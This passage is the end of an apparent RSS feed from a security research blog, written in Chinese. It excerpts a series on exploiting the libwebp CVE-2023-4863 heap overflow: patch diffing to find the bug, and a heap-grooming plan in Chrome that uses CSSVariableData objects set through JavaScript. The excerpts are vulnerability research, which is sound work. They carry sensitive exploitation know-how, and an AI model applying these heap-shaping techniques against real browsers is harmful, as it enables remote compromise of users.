&lt;p&gt;&lt;code&gt;HuffmanCode&lt;/code&gt;在libwebp中是用&lt;code&gt;malloc&lt;/code&gt;分配的，在chrome中实际是被PartitionAlloc最终接管分配。在renderer中一共有四个&lt;a href=&#34;https://source.chromium.org/chromium/chromium/src/&amp;#43;/d53886d694334f194b267db3af165e5cd61ef489:third_party/blink/renderer/platform/wtf/allocator/Allocator.md&#34;&gt;partition&lt;/a&gt;，&lt;code&gt;LayoutObject partition&lt;/code&gt;, &lt;code&gt;Buffer partition&lt;/code&gt;, &lt;code&gt;ArrayBuffer partition&lt;/code&gt;, &lt;code&gt;FastMalloc partition&lt;/code&gt;。FastMalloc实际上最终调用的就是&lt;code&gt;malloc&lt;/code&gt;，因此我们想要找的对象可以用FastMalloc来分配。&lt;/p&gt;
&lt;p&gt;我们首先用了Man Yue Mo在&lt;a href=&#34;https://securitylab.github.com/research/one_day_short_of_a_fullchain_renderer/&#34;&gt;博客&lt;/a&gt;中提到的codeql查询，由于溢出在0x3000的bucket当中，可以选择的对象大小范围为0x2800 - 0x3000。但非常遗憾的是，查询结果为空，这个size下的对象几乎完全不存在。另一个思路是用溢出对象本身，但是这个对象被改掉后不会产生特别的破坏效果，libwebp中也没有其他好的候选对象。到了这里似乎令人觉得有些绝望，利用的第一步就被卡住了。&lt;/p&gt;
&lt;p&gt;那么我们还有什么思路呢，一个想法是使用可变长的对象，如Man Yue Mo提到过的&lt;code&gt;AudioArray&lt;/code&gt;，但是这个对象是纯数据，被改掉也没有用。查看所有FastMalloc的调用，最终我们发现了这个&lt;a href=&#34;https://source.chromium.org/chromium/chromium/src/&amp;#43;/main:third_party/blink/renderer/core/css/css_variable_data.h;drc=d53886d694334f194b267db3af165e5cd61ef489;l=22&#34;&gt;对象&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-c++&#34; data-lang=&#34;c++&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;CORE_EXPORT&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;CSSVariableData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RefCounted&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CSSVariableData&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;USING_FAST_MALLOC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CSSVariableData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此对象的大小为动态的&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-c++&#34; data-lang=&#34;c++&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;wtf_size_t&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytes_needed&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;sizeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CSSVariableData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;original_text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Is8Bit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                       &lt;span class=&#34;o&#34;&gt;?&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;original_text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                       &lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;original_text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// ... snip ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buf&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;WTF&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Partitions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FastMalloc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;bytes_needed&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;WTF&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetStringWithTypeName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CSSVariableData&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;该对象代表了&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties&#34;&gt;CSS中的变量&lt;/a&gt;，可以通过以下方式来定义&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;element&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;foo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;var&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;--&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;my&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;var&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;blink会根据CSS变量的内容动态分配&lt;code&gt;CSSVariableData&lt;/code&gt;的内存。还有一个好消息是，JavaScript中也可以便捷地操作CSS变量。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// add a CSS variable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;element&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;style&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;setProperty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;bar&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// remove a CSS variable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;element&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;style&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;removeProperty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// get the value of a CSS variable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;getComputedStyle&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;element&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;getPropertyValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;cross-thread堆占位&#34;&gt;Cross-Thread堆占位&lt;/h3&gt;
&lt;p&gt;我们可以控制&lt;code&gt;CSSVariableData&lt;/code&gt;的大小，使其分配至与&lt;code&gt;HuffmanCode&lt;/code&gt;同样大小的bucket中。一个自然而然的计划是，分配一堆&lt;code&gt;CSSVariableData&lt;/code&gt;，然后free其中一个，再用&lt;code&gt;HuffmanCode&lt;/code&gt;占位，如下图所示。&lt;/p&gt;
&lt;img src=&#34;webp.assets/image-20231101172352708.png&#34; alt=&#34;image-20231101172352708&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 50%;&#34; /&gt;
&lt;p&gt;然而设想很美好，实际上PartitionAlloc中使用了&lt;a href=&#34;https://source.chromium.org/chromium/chromium/src/&amp;#43;/main:base/allocator/partition_allocator/src/partition_alloc/thread_cache.h;drc=9fc872d7a2507b4685051bd6a0d93349f668e6f8;l=241&#34;&gt;ThreadCache&lt;/a&gt;，对象的分配和释放都会优先在ThreadCache中进行。由于两个对象不在同一个线程中分配，我们需要想办法将&lt;code&gt;CSSVariableData&lt;/code&gt;从ThreadCache中移出。阅读&lt;a href=&#34;https://source.chromium.org/chromium/chromium/src/&amp;#43;/main:base/allocator/partition_allocator/src/partition_alloc/thread_cache.h;drc=9fc872d7a2507b4685051bd6a0d93349f668e6f8;l=519&#34;&gt;ThreadCache的源码&lt;/a&gt;，我们找到了一个途径&lt;/p&gt;</description>
    </item>
    <item>
      <title>Exploiting the libwebp Vulnerability, Part 1: Playing with Huffman Code</title>
      <link>https://www.darknavy.org/zh/blog/exploiting_the_libwebp_vulnerability_part_1/</link>
      <pubDate>Fri, 03 Nov 2023 14:10:24 +0800</pubDate>
      <guid>https://www.darknavy.org/zh/blog/exploiting_the_libwebp_vulnerability_part_1/</guid>
      <description>&lt;h2 id=&#34;漏洞定位&#34;&gt;漏洞定位&lt;/h2&gt;
&lt;p&gt;在初始的漏洞分析阶段，由于缺少现成的PoC或详细分析报告，我们首先尝试阅读并理解webmproject/libwebp上游仓库针对CVE-2023-4863的&lt;a href=&#34;https://github.com/webmproject/libwebp/commit/902bc9190331343b2017211debcec8d2ab87e17a&#34;&gt;修复代码&lt;/a&gt;。然而，WebM Project官方的修补过程相对复杂，这使得我们难以精确地锁定漏洞的原始触发点。&lt;/p&gt;
&lt;p&gt;于是，我们将目光转向了Apple对CVE-2023-41064的官方补丁，并使用BinDiff对更新前后的ImageIO组件进行了对比。我们注意到Apple的补丁代码变更相对较少，易于理解，并且非常“简单粗暴”:&lt;/p&gt;
&lt;img src=&#34;assets/1-diff.png&#34; alt=&#34;ImageIO patch in BinDiff&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 67%;&#34; /&gt;
&lt;img src=&#34;assets/2-diff.png&#34; alt=&#34;ImageIO patch in IDA Pro&#34; style=&#34;display: block; margin-left: auto; margin-right: auto; zoom: 67%;&#34; /&gt;
&lt;p&gt;简而言之，Apple的修复方案是在WebP解码器中增加了一项检查：如果在构建霍夫曼编码表 (Huffman Table) 时越界，就会直接返回错误，而不是继续解码。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gh&#34;&gt;diff --git a/src/dec/vp8l_dec.c b/src/dec/vp8l_dec.c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gh&#34;&gt;index 45012162..06b142bc 100644
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;--- a/src/dec/vp8l_dec.c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+++ b/src/dec/vp8l_dec.c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gu&#34;&gt;@@ -438,6 +438,7 @@ static int ReadHuffmanCodes(VP8LDecoder* const dec, int xsize, int ysize,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     goto Error;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+  bound = &amp;amp;huffman_tables[num_htree_groups * table_size];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   huffman_table = huffman_tables;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   for (i = 0; i &amp;lt; num_htree_groups_max; ++i) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     // If the index &amp;#34;i&amp;#34; is unused in the Huffman image, just make sure the
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gh&#34;&gt;diff --git a/src/utils/huffman_utils.c b/src/utils/huffman_utils.c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gh&#34;&gt;index 90c2fbf7..13054715 100644
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gd&#34;&gt;--- a/src/utils/huffman_utils.c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+++ b/src/utils/huffman_utils.c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gu&#34;&gt;@@ -191,6 +191,7 @@ static int BuildHuffmanTable(HuffmanCode* const root_table, int root_bits,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;         }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;         code.bits = (uint8_t)(len - root_bits);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;         code.value = (uint16_t)sorted[symbol++];
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;gi&#34;&gt;+        if (bound &amp;amp;&amp;amp; &amp;amp;table[key &amp;gt;&amp;gt; root_bits + table_size] &amp;gt;= bound) return 0;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;         ReplicateValue(&amp;amp;table[key &amp;gt;&amp;gt; root_bits], step, table_size, code);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;         key = GetNextKey(key, len);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;       }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;因此，漏洞很可能是由于在构建Huffman Table时，没有对输入的数据进行有效性检查，从而导致分配给表的内存区域被溢写，即出现了缓冲区溢出。&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
